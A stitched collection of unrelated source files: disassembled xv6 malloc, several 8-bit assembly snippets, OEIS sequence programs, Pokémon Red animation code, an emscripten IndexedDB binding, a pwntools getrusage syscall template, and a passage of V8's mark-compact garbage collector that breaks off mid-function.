94c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
953: bb 00 80 00 00 mov $0x8000,%ebx
958: 89 45 e4 mov %eax,-0x1c(%ebp)
95b: eb 0e jmp 96b <malloc+0x4b>
95d: 8d 76 00 lea 0x0(%esi),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
960: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
962: 8b 78 04 mov 0x4(%eax),%edi
965: 39 fe cmp %edi,%esi
967: 76 4f jbe 9b8 <malloc+0x98>
969: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
96b: 3b 15 a0 0d 00 00 cmp 0xda0,%edx
971: 75 ed jne 960 <malloc+0x40>
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
973: 8b 45 e4 mov -0x1c(%ebp),%eax
976: 81 fe 00 10 00 00 cmp $0x1000,%esi
97c: bf 00 10 00 00 mov $0x1000,%edi
981: 0f 43 fe cmovae %esi,%edi
984: 0f 42 c3 cmovb %ebx,%eax
nu = 4096;
p = sbrk(nu * sizeof(Header));
987: 89 04 24 mov %eax,(%esp)
98a: e8 53 fc ff ff call 5e2 <sbrk>
if(p == (char*)-1)
98f: 83 f8 ff cmp $0xffffffff,%eax
992: 74 18 je 9ac <malloc+0x8c>
return 0;
hp = (Header*)p;
hp->s.size = nu;
994: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
997: 83 c0 08 add $0x8,%eax
99a: 89 04 24 mov %eax,(%esp)
99d: e8 ee fe ff ff call 890 <free>
return freep;
9a2: 8b 15 a0 0d 00 00 mov 0xda0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
9a8: 85 d2 test %edx,%edx
9aa: 75 b4 jne 960 <malloc+0x40>
return 0;
9ac: 31 c0 xor %eax,%eax
9ae: eb 20 jmp 9d0 <malloc+0xb0>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
9b0: 89 d0 mov %edx,%eax
9b2: 89 da mov %ebx,%edx
9b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
9b8: 39 fe cmp %edi,%esi
9ba: 74 1c je 9d8 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
9bc: 29 f7 sub %esi,%edi
9be: 89 78 04 mov %edi,0x4(%eax)
p += p->s.size;
9c1: 8d 04 f8 lea (%eax,%edi,8),%eax
p->s.size = nunits;
9c4: 89 70 04 mov %esi,0x4(%eax)
}
freep = prevp;
9c7: 89 15 a0 0d 00 00 mov %edx,0xda0
return (void*)(p + 1);
9cd: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
9d0: 83 c4 1c add $0x1c,%esp
9d3: 5b pop %ebx
9d4: 5e pop %esi
9d5: 5f pop %edi
9d6: 5d pop %ebp
9d7: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
9d8: 8b 08 mov (%eax),%ecx
9da: 89 0a mov %ecx,(%edx)
9dc: eb e9 jmp 9c7 <malloc+0xa7>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9de: c7 05 a0 0d 00 00 a4 movl $0xda4,0xda0
9e5: 0d 00 00
base.s.size = 0;
9e8: ba a4 0d 00 00 mov $0xda4,%edx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9ed: c7 05 a4 0d 00 00 a4 movl $0xda4,0xda4
9f4: 0d 00 00
base.s.size = 0;
9f7: c7 05 a8 0d 00 00 00 movl $0x0,0xda8
9fe: 00 00 00
a01: e9 46 ff ff ff jmp 94c <malloc+0x2c>
|
GEN_XFRM = 1
include ftrans.asm
|
;Program to find out the sum of n-terms of an AP
;Number of terms stored at 0x0001
;Loading of registers
LDA 0x0001
LXI H, 0x0000
LXI D,0x0001
LXI B,0x0006 ;Loading of constant difference
;Performing the addition
AGAIN:DAD D
XCHG
DAD B
XCHG
DCR A
JNZ AGAIN
;Stroing the result at 0x0002
SHLD 0x0002
HLT
|
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
;
; gfx functions
;
; Videmo memory page handling
;
;
; ------
; $Id: ozgetdisplaypage.asm,v 1.1 2003/10/23 10:42:50 stefano Exp $
;
XLIB ozgetdisplaypage
ozgetdisplaypage:
in a,(22h)
or a
jr z,PageZero
ld hl,1
ret
PageZero:
ld l,a
ld h,a ; hl=0
ret
|
; A171835: Partial sums of numbers congruent to {3, 4, 5, 6} mod 8 (A047425).
; 3,7,12,18,29,41,54,68,87,107,128,150,177,205,234,264,299,335,372,410,453,497,542,588,639,691,744,798,857,917,978,1040,1107,1175,1244,1314,1389,1465,1542,1620,1703,1787,1872,1958,2049,2141,2234,2328,2427,2527,2628,2730,2837,2945,3054,3164,3279,3395,3512,3630,3753,3877,4002,4128,4259,4391,4524,4658,4797,4937,5078,5220,5367,5515,5664,5814,5969,6125,6282,6440,6603,6767,6932,7098,7269,7441,7614,7788,7967,8147,8328,8510,8697,8885,9074,9264,9459,9655,9852,10050,10253,10457,10662,10868,11079,11291,11504,11718,11937,12157,12378,12600,12827,13055,13284,13514,13749,13985,14222,14460,14703,14947,15192,15438,15689,15941,16194,16448,16707,16967,17228,17490,17757,18025,18294,18564,18839,19115,19392,19670,19953,20237,20522,20808,21099,21391,21684,21978,22277,22577,22878,23180,23487,23795,24104,24414,24729,25045,25362,25680,26003,26327,26652,26978,27309,27641,27974,28308,28647,28987,29328,29670,30017,30365,30714,31064,31419,31775,32132,32490,32853,33217,33582,33948,34319,34691,35064,35438,35817,36197,36578,36960,37347,37735,38124,38514,38909,39305,39702,40100,40503,40907,41312,41718,42129,42541,42954,43368,43787,44207,44628,45050,45477,45905,46334,46764,47199,47635,48072,48510,48953,49397,49842,50288,50739,51191,51644,52098,52557,53017,53478,53940,54407,54875,55344,55814,56289,56765,57242,57720,58203,58687,59172,59658,60149,60641,61134,61628,62127,62627
lpb $0
add $1,$0
add $2,$0
add $2,5
lpb $2
add $1,4
trn $2,4
lpe
sub $0,1
sub $1,5
lpe
add $1,3
|
MarowakAnim:
; animate the ghost being unveiled as a Marowak
ld a, $e4
ld [rOBP1], a
call CopyMonPicFromBGToSpriteVRAM ; cover the BG ghost pic with a sprite ghost pic that looks the same
; now that the ghost pic is being displayed using sprites, clear the ghost pic from the BG tilemap
coord hl, 12, 0
lb bc, 7, 7
call ClearScreenArea
call Delay3
xor a
ld [H_AUTOBGTRANSFERENABLED], a ; disable BG transfer so we don't see the Marowak too soon
; replace ghost pic with Marowak in BG
ld a, MAROWAK
ld [wChangeMonPicEnemyTurnSpecies], a
ld a, $1
ld [H_WHOSETURN], a
callab ChangeMonPic
; alternate between black and light grey 8 times.
; this makes the ghost's body appear to flash
ld d, $80
call FlashSprite8Times
.fadeOutGhostLoop
ld c, 10
call DelayFrames
ld a, [rOBP1]
sla a
sla a
ld [rOBP1], a
jr nz, .fadeOutGhostLoop
call ClearSprites
call CopyMonPicFromBGToSpriteVRAM ; copy Marowak pic from BG to sprite VRAM
ld b, $e4
.fadeInMarowakLoop
ld c, 10
call DelayFrames
ld a, [rOBP1]
srl b
rra
srl b
rra
ld [rOBP1], a
ld a, b
and a
jr nz, .fadeInMarowakLoop
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a ; enable BG transfer so the BG Marowak pic will be visible after the sprite one is cleared
call Delay3
jp ClearSprites
; copies a mon pic's from background VRAM to sprite VRAM and sets up OAM
CopyMonPicFromBGToSpriteVRAM:
ld de, vFrontPic
ld hl, vSprites
ld bc, 7 * 7
call CopyVideoData
ld a, $10
ld [wBaseCoordY], a
ld a, $70
ld [wBaseCoordX], a
ld hl, wOAMBuffer
lb bc, 6, 6
ld d, $8
.oamLoop
push bc
ld a, [wBaseCoordY]
ld e, a
.oamInnerLoop
ld a, e
add $8
ld e, a
ld [hli], a
ld a, [wBaseCoordX]
ld [hli], a
ld a, d
ld [hli], a
ld a, $10 ; use OBP1
ld [hli], a
inc d
dec c
jr nz, .oamInnerLoop
inc d
ld a, [wBaseCoordX]
add $8
ld [wBaseCoordX], a
pop bc
dec b
jr nz, .oamLoop
ret
|
; A013966: a(n) = sigma_18(n), the sum of the 18th powers of the divisors of n.
; 1,262145,387420490,68719738881,3814697265626,101560344351050,1628413597910450,18014467229220865,150094635684419611,1000003814697527770,5559917313492231482,26623434909949071690,112455406951957393130,426880482624234915250,1477891883850485076740,4722384497336874434561,14063084452067724991010,39346558271492178925595,104127350297911241532842,262145000003883417004506,630880794025129515120500,1457504524145421021848890,3244150909895248285300370,6979173721033689836523850,14551915228370666503906251
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,18
add $1,$3
lpe
add $1,1
mov $0,$1
|
;
; Intrinsic sccz80 routine to multiply by a power of 2
;
;
SECTION code_fp_dai32
PUBLIC l_f32_ldexp
; Entry: a = adjustment for exponent
; Stack: float, ret
; Exit: dehl = adjusted float
l_f32_ldexp:
add d
ld d,a
ret
|
#include "idb_transaction.h"
#include "idb_object_store.h"
#include "idb_database.h"
USING_NAMESPACE_HTML5;
HTML5_BIND_CLASS(IDBDatabase);
IDBDatabase::IDBDatabase(emscripten::val v) :
EventTarget(v)
{
}
IDBDatabase::~IDBDatabase()
{
}
IDBDatabase *IDBDatabase::create(emscripten::val v)
{
auto db = new IDBDatabase(v);
db->autorelease();
return db;
}
void IDBDatabase::close()
{
HTML5_CALL(this->v, close);
}
IDBObjectStore *IDBDatabase::createObjectStore(std::string name)
{
return IDBObjectStore::create(HTML5_CALLv(this->v, createObjectStore, name));
}
void IDBDatabase::deleteObjectStore(std::string name)
{
HTML5_CALL(this->v, deleteObjectStore, name);
}
IDBTransaction *IDBDatabase::transaction(std::string storeName, IDBTransactionMode mode)
{
return IDBTransaction::create(HTML5_CALLv(this->v, transaction, storeName, mode));
}
IDBTransaction *IDBDatabase::transaction(std::vector<std::string> storeNames, IDBTransactionMode mode)
{
return IDBTransaction::create(HTML5_CALLv(this->v, transaction, toJSArray<std::string>(storeNames), mode));
}
HTML5_PROPERTY_IMPL(IDBDatabase, std::string, name);
HTML5_EVENT_HANDLER_PROPERTY_IMPL(IDBDatabase, EventHandler *, onabort);
HTML5_EVENT_HANDLER_PROPERTY_IMPL(IDBDatabase, EventHandler *, onerror);
HTML5_EVENT_HANDLER_PROPERTY_IMPL(IDBDatabase, EventHandler *, onversionchange);
HTML5_PROPERTY_IMPL(IDBDatabase, unsigned long long, version);
|
; vi:syntax=z80
; ZEnv - Forth for the ZX Spectrum
; Copyright 2021 (C) - Christopher Leonard, MIT Licence
; https://github.com/veltas/zenv
; Memory manipulating words
HEADER fetch, "@", 0
fetch:
LD E, (HL)
INC HL
LD D, (HL)
EX DE, HL
JP next
HEADER c_fetch, "C@", 0
c_fetch:
LD E, (HL)
LD D, 0
EX DE, HL
JP next
HEADER store, "!", 0
store:
POP DE
LD (HL), E
INC HL
LD (HL), D
POP HL
JP next
HEADER c_store, "C!", 0
c_store:
POP DE
LD (HL), E
POP HL
JP next
HEADER plus_store, "+!", 0
plus_store:
POP DE
LD C, (HL)
INC HL
LD B, (HL)
EX DE, HL
ADD HL, BC
EX DE, HL
LD (HL), D
DEC HL
LD (HL), E
POP HL
JP next
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>getrusage(who, usage) -> str
Invokes the syscall getrusage.
See 'man 2 getrusage' for more information.
Arguments:
who(rusage_who_t): who
usage(rusage*): usage
Returns:
int
</%docstring>
<%page args="who=0, usage=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['who', 'usage']
argument_values = [who, usage]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_getrusage']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* getrusage(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
|
;
; Put character to console
;
; fputc_cons(char c)
;
;
; $Id: fgetc_cons.asm,v 1.5 2016-05-12 21:42:05 dom Exp $
;
SECTION code_clib
PUBLIC fgetc_cons
PUBLIC _fgetc_cons
INCLUDE "target/test/def/test_cmds.def"
.fgetc_cons
._fgetc_cons
ld a,CMD_READKEY
call SYSCALL
ret
|
// Copyright 2012 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/heap/mark-compact.h"
#include "src/base/atomicops.h"
#include "src/base/bits.h"
#include "src/base/sys-info.h"
#include "src/code-stubs.h"
#include "src/compilation-cache.h"
#include "src/deoptimizer.h"
#include "src/execution.h"
#include "src/frames-inl.h"
#include "src/gdb-jit.h"
#include "src/global-handles.h"
#include "src/heap/array-buffer-tracker.h"
#include "src/heap/gc-tracer.h"
#include "src/heap/incremental-marking.h"
#include "src/heap/mark-compact-inl.h"
#include "src/heap/object-stats.h"
#include "src/heap/objects-visiting.h"
#include "src/heap/objects-visiting-inl.h"
#include "src/heap/slots-buffer.h"
#include "src/heap/spaces-inl.h"
#include "src/ic/ic.h"
#include "src/ic/stub-cache.h"
#include "src/profiler/cpu-profiler.h"
#include "src/v8.h"
namespace v8 {
namespace internal {
const char* Marking::kWhiteBitPattern = "00";
const char* Marking::kBlackBitPattern = "10";
const char* Marking::kGreyBitPattern = "11";
const char* Marking::kImpossibleBitPattern = "01";
// The following has to hold in order for {Marking::MarkBitFrom} to not produce
// invalid {kImpossibleBitPattern} in the marking bitmap by overlapping.
STATIC_ASSERT(Heap::kMinObjectSizeInWords >= 2);
// -------------------------------------------------------------------------
// MarkCompactCollector
MarkCompactCollector::MarkCompactCollector(Heap* heap)
: // NOLINT
#ifdef DEBUG
state_(IDLE),
#endif
marking_parity_(ODD_MARKING_PARITY),
was_marked_incrementally_(false),
evacuation_(false),
slots_buffer_allocator_(nullptr),
migration_slots_buffer_(nullptr),
heap_(heap),
marking_deque_memory_(NULL),
marking_deque_memory_committed_(0),
code_flusher_(NULL),
have_code_to_deoptimize_(false),
compacting_(false),
sweeping_in_progress_(false),
compaction_in_progress_(false),
pending_sweeper_tasks_semaphore_(0),
pending_compaction_tasks_semaphore_(0),
concurrent_compaction_tasks_active_(0) {
}
#ifdef VERIFY_HEAP
class VerifyMarkingVisitor : public ObjectVisitor {
public:
explicit VerifyMarkingVisitor(Heap* heap) : heap_(heap) {}
void VisitPointers(Object** start, Object** end) override {
for (Object** current = start; current < end; current++) {
if ((*current)->IsHeapObject()) {
HeapObject* object = HeapObject::cast(*current);
CHECK(heap_->mark_compact_collector()->IsMarked(object));
}
}
}
void VisitEmbeddedPointer(RelocInfo* rinfo) override {
DCHECK(rinfo->rmode() == RelocInfo::EMBEDDED_OBJECT);
if (!rinfo->host()->IsWeakObject(rinfo->target_object())) {
Object* p = rinfo->target_object();
VisitPointer(&p);
}
}
void VisitCell(RelocInfo* rinfo) override {
Code* code = rinfo->host();
DCHECK(rinfo->rmode() == RelocInfo::CELL);
if (!code->IsWeakObject(rinfo->target_cell())) {
ObjectVisitor::VisitCell(rinfo);
}
}
private:
Heap* heap_;
};
static void VerifyMarking(Heap* heap, Address bottom, Address top) {
VerifyMarkingVisitor visitor(heap);
HeapObject* object;
Address next_object_must_be_here_or_later = bottom;
for (Address current = bottom; current < top; current += kPointerSize) {
object = HeapObject::FromAddress(current);
if (MarkCompactCollector::IsMarked(object)) {
CHECK(Marking::IsBlack(Marking::MarkBitFrom(object)));
CHECK(current >= next_object_must_be_here_or_later);
object->Iterate(&visitor);
next_object_must_be_here_or_later = current + object->Size();
}
}
}
static void VerifyMarking(NewSpace* space) {
Address end = space->top();
NewSpacePageIterator it(space->bottom(), end);
// The bottom position is at the start of its page. Allows us to use
// page->area_start() as start of range on all pages.
CHECK_EQ(space->bottom(),
NewSpacePage::FromAddress(space->bottom())->area_start());
while (it.has_next()) {
NewSpacePage* page = it.next();
Address limit = it.has_next() ? page->area_end() : end;
CHECK(limit == end || !page->Contains(end));
VerifyMarking(space->heap(), page->area_start(), limit);
}
}
static void VerifyMarking(PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
VerifyMarking(space->heap(), p->area_start(), p->area_end());
}
}
static void VerifyMarking(Heap* heap) {
VerifyMarking(heap->old_space());
VerifyMarking(heap->code_space());
VerifyMarking(heap->map_space());
VerifyMarking(heap->new_space());
VerifyMarkingVisitor visitor(heap);
LargeObjectIterator it(heap->lo_space());
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
if (MarkCompactCollector::IsMarked(obj)) {
obj->Iterate(&visitor);
}
}
heap->IterateStrongRoots(&visitor, VISIT_ONLY_STRONG);
}
class VerifyEvacuationVisitor : public ObjectVisitor {
public:
void VisitPointers(Object** start, Object** end) override {
for (Object** current = start; current < end; current++) {
if ((*current)->IsHeapObject()) {
HeapObject* object = HeapObject::cast(*current);
CHECK(!MarkCompactCollector::IsOnEvacuationCandidate(object));
}
}
}
};
static void VerifyEvacuation(Page* page) {
VerifyEvacuationVisitor visitor;
HeapObjectIterator iterator(page);
for (HeapObject* heap_object = iterator.Next(); heap_object != NULL;
heap_object = iterator.Next()) {
// We skip free space objects.
if (!heap_object->IsFiller()) {
heap_object->Iterate(&visitor);
}
}
}
static void VerifyEvacuation(NewSpace* space) {
NewSpacePageIterator it(space->bottom(), space->top());
VerifyEvacuationVisitor visitor;
while (it.has_next()) {
NewSpacePage* page = it.next();
Address current = page->area_start();
Address limit = it.has_next() ? page->area_end() : space->top();
CHECK(limit == space->top() || !page->Contains(space->top()));
while (current < limit) {
HeapObject* object = HeapObject::FromAddress(current);
object->Iterate(&visitor);
current += object->Size();
}
}
}
static void VerifyEvacuation(Heap* heap, PagedSpace* space) {
if (FLAG_use_allocation_folding && (space == heap->old_space())) {
return;
}
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
if (p->IsEvacuationCandidate()) continue;
VerifyEvacuation(p);
}
}
static void VerifyEvacuation(Heap* heap) {
VerifyEvacuation(heap, heap->old_space());
VerifyEvacuation(heap, heap->code_space());
VerifyEvacuation(heap, heap->map_space());
VerifyEvacuation(heap->new_space());
VerifyEvacuationVisitor visitor;
heap->IterateStrongRoots(&visitor, VISIT_ALL);
}
#endif // VERIFY_HEAP
void MarkCompactCollector::SetUp() {
free_list_old_space_.Reset(new FreeList(heap_->old_space()));
free_list_code_space_.Reset(new FreeList(heap_->code_space()));
free_list_map_space_.Reset(new FreeList(heap_->map_space()));
EnsureMarkingDequeIsReserved();
EnsureMarkingDequeIsCommitted(kMinMarkingDequeSize);
slots_buffer_allocator_ = new SlotsBufferAllocator();
}
void MarkCompactCollector::TearDown() {
AbortCompaction();
delete marking_deque_memory_;
delete slots_buffer_allocator_;
}
void MarkCompactCollector::AddEvacuationCandidate(Page* p) {
DCHECK(!p->NeverEvacuate());
p->MarkEvacuationCandidate();
evacuation_candidates_.Add(p);
}
static void TraceFragmentation(PagedSpace* space) {
int number_of_pages = space->CountTotalPages();
intptr_t reserved = (number_of_pages * space->AreaSize());
intptr_t free = reserved - space->SizeOfObjects();
PrintF("[%s]: %d pages, %d (%.1f%%) free\n",
AllocationSpaceName(space->identity()), number_of_pages,
static_cast<int>(free), static_cast<double>(free) * 100 / reserved);
}
bool MarkCompactCollector::StartCompaction(CompactionMode mode) {
if (!compacting_) {
DCHECK(evacuation_candidates_.length() == 0);
CollectEvacuationCandidates(heap()->old_space());
if (FLAG_compact_code_space) {
CollectEvacuationCandidates(heap()->code_space());
} else if (FLAG_trace_fragmentation) {
TraceFragmentation(heap()->code_space());
}
if (FLAG_trace_fragmentation) {
TraceFragmentation(heap()->map_space());
}
heap()->old_space()->EvictEvacuationCandidatesFromLinearAllocationArea();
heap()->code_space()->EvictEvacuationCandidatesFromLinearAllocationArea();
compacting_ = evacuation_candidates_.length() > 0;
}
return compacting_;
}
void MarkCompactCollector::ClearInvalidStoreAndSlotsBufferEntries() {
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_STORE_BUFFER_CLEAR);
heap_->store_buffer()->ClearInvalidStoreBufferEntries();
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_SLOTS_BUFFER_CLEAR);
int number_of_pages = evacuation_candidates_.length();
for (int i = 0; i < number_of_pages; i++) {
Page* p = evacuation_candidates_[i];
SlotsBuffer::RemoveInvalidSlots(heap_, p->slots_buffer());
}
}
}
#ifdef VERIFY_HEAP
static void VerifyValidSlotsBufferEntries(Heap* heap, PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
SlotsBuffer::VerifySlots(heap, p->slots_buffer());
}
}
void MarkCompactCollector::VerifyValidStoreAndSlotsBufferEntries() {
heap()->store_buffer()->VerifyValidStoreBufferEntries();
VerifyValidSlotsBufferEntries(heap(), heap()->old_space());
VerifyValidSlotsBufferEntries(heap(), heap()->code_space());
VerifyValidSlotsBufferEntries(heap(), heap()->map_space());
LargeObjectIterator it(heap()->lo_space());
for (HeapObject* object = it.Next(); object != NULL; object = it.Next()) {
MemoryChunk* chunk = MemoryChunk::FromAddress(object->address());
SlotsBuffer::VerifySlots(heap(), chunk->slots_buffer());
}
}
#endif
void MarkCompactCollector::CollectGarbage() {
// Make sure that Prepare() has been called. The individual steps below will
// update the state as they proceed.
DCHECK(state_ == PREPARE_GC);
MarkLiveObjects();
DCHECK(heap_->incremental_marking()->IsStopped());
// ClearNonLiveReferences can deoptimize code in dependent code arrays.
// Process weak cells before so that weak cells in dependent code
// arrays are cleared or contain only live code objects.
ProcessAndClearWeakCells();
ClearNonLiveReferences();
ClearWeakCollections();
heap_->set_encountered_weak_cells(Smi::FromInt(0));
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) {
VerifyMarking(heap_);
}
#endif
ClearInvalidStoreAndSlotsBufferEntries();
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) {
VerifyValidStoreAndSlotsBufferEntries();
}
#endif
SweepSpaces();
Finish();
if (marking_parity_ == EVEN_MARKING_PARITY) {
marking_parity_ = ODD_MARKING_PARITY;
} else {
DCHECK(marking_parity_ == ODD_MARKING_PARITY);
marking_parity_ = EVEN_MARKING_PARITY;
}
}
#ifdef VERIFY_HEAP
void MarkCompactCollector::VerifyMarkbitsAreClean(PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
CHECK(p->markbits()->IsClean());
CHECK_EQ(0, p->LiveBytes());
}
}
void MarkCompactCollector::VerifyMarkbitsAreClean(NewSpace* space) {
NewSpacePageIterator it(space->bottom(), space->top());
while (it.has_next()) {
NewSpacePage* p = it.next();
CHECK(p->markbits()->IsClean());
CHECK_EQ(0, p->LiveBytes());
}
}
void MarkCompactCollector::VerifyMarkbitsAreClean() {
VerifyMarkbitsAreClean(heap_->old_space());
VerifyMarkbitsAreClean(heap_->code_space());
VerifyMarkbitsAreClean(heap_->map_space());
VerifyMarkbitsAreClean(heap_->new_space());
LargeObjectIterator it(heap_->lo_space());
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
MarkBit mark_bit = Marking::MarkBitFrom(obj);
CHECK(Marking::IsWhite(mark_bit));
CHECK_EQ(0, Page::FromAddress(obj->address())->LiveBytes());
}
}
void MarkCompactCollector::VerifyWeakEmbeddedObjectsInCode() {
HeapObjectIterator code_iterator(heap()->code_space());
for (HeapObject* obj = code_iterator.Next(); obj != NULL;
obj = code_iterator.Next()) {
Code* code = Code::cast(obj);
if (!code->is_optimized_code()) continue;
if (WillBeDeoptimized(code)) continue;
code->VerifyEmbeddedObjectsDependency();
}
}
void MarkCompactCollector::VerifyOmittedMapChecks() {
HeapObjectIterator iterator(heap()->map_space());
for (HeapObject* obj = iterator.Next(); obj != NULL; obj = iterator.Next()) {
Map* map = Map::cast(obj);
map->VerifyOmittedMapChecks();
}
}
#endif // VERIFY_HEAP
static void ClearMarkbitsInPagedSpace(PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Bitmap::Clear(it.next());
}
}
static void ClearMarkbitsInNewSpace(NewSpace* space) {
NewSpacePageIterator it(space->ToSpaceStart(), space->ToSpaceEnd());
while (it.has_next()) {
Bitmap::Clear(it.next());
}
}
void MarkCompactCollector::ClearMarkbits() {
ClearMarkbitsInPagedSpace(heap_->code_space());
ClearMarkbitsInPagedSpace(heap_->map_space());
ClearMarkbitsInPagedSpace(heap_->old_space());
ClearMarkbitsInNewSpace(heap_->new_space());
LargeObjectIterator it(heap_->lo_space());
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
Marking::MarkWhite(Marking::MarkBitFrom(obj));
Page::FromAddress(obj->address())->ResetProgressBar();
Page::FromAddress(obj->address())->ResetLiveBytes();
}
}
class MarkCompactCollector::CompactionTask : public v8::Task {
public:
explicit CompactionTask(Heap* heap, CompactionSpaceCollection* spaces)
: heap_(heap), spaces_(spaces) {}
virtual ~CompactionTask() {}
private:
// v8::Task overrides.
void Run() override {
MarkCompactCollector* mark_compact = heap_->mark_compact_collector();
SlotsBuffer* evacuation_slots_buffer = nullptr;
mark_compact->EvacuatePages(spaces_, &evacuation_slots_buffer);
mark_compact->AddEvacuationSlotsBufferSynchronized(evacuation_slots_buffer);
mark_compact->pending_compaction_tasks_semaphore_.Signal();
}
Heap* heap_;
CompactionSpaceCollection* spaces_;
DISALLOW_COPY_AND_ASSIGN(CompactionTask);
};
class MarkCompactCollector::SweeperTask : public v8::Task {
public:
SweeperTask(Heap* heap, PagedSpace* space) : heap_(heap), space_(space) {}
virtual ~SweeperTask() {}
private:
// v8::Task overrides.
void Run() override {
heap_->mark_compact_collector()->SweepInParallel(space_, 0);
heap_->mark_compact_collector()->pending_sweeper_tasks_semaphore_.Signal();
}
Heap* heap_;
PagedSpace* space_;
DISALLOW_COPY_AND_ASSIGN(SweeperTask);
};
void MarkCompactCollector::StartSweeperThreads() {
DCHECK(free_list_old_space_.get()->IsEmpty());
DCHECK(free_list_code_space_.get()->IsEmpty());
DCHECK(free_list_map_space_.get()->IsEmpty());
V8::GetCurrentPlatform()->CallOnBackgroundThread(
new SweeperTask(heap(), heap()->old_space()),
v8::Platform::kShortRunningTask);
V8::GetCurrentPlatform()->CallOnBackgroundThread(
new SweeperTask(heap(), heap()->code_space()),
v8::Platform::kShortRunningTask);
V8::GetCurrentPlatform()->CallOnBackgroundThread(
new SweeperTask(heap(), heap()->map_space()),
v8::Platform::kShortRunningTask);
}
void MarkCompactCollector::SweepOrWaitUntilSweepingCompleted(Page* page) {
PagedSpace* owner = reinterpret_cast<PagedSpace*>(page->owner());
if (!page->SweepingCompleted()) {
SweepInParallel(page, owner);
if (!page->SweepingCompleted()) {
// We were not able to sweep that page, i.e., a concurrent
// sweeper thread currently owns this page. Wait for the sweeper
// thread to be done with this page.
page->WaitUntilSweepingCompleted();
}
}
}
void MarkCompactCollector::SweepAndRefill(CompactionSpace* space) {
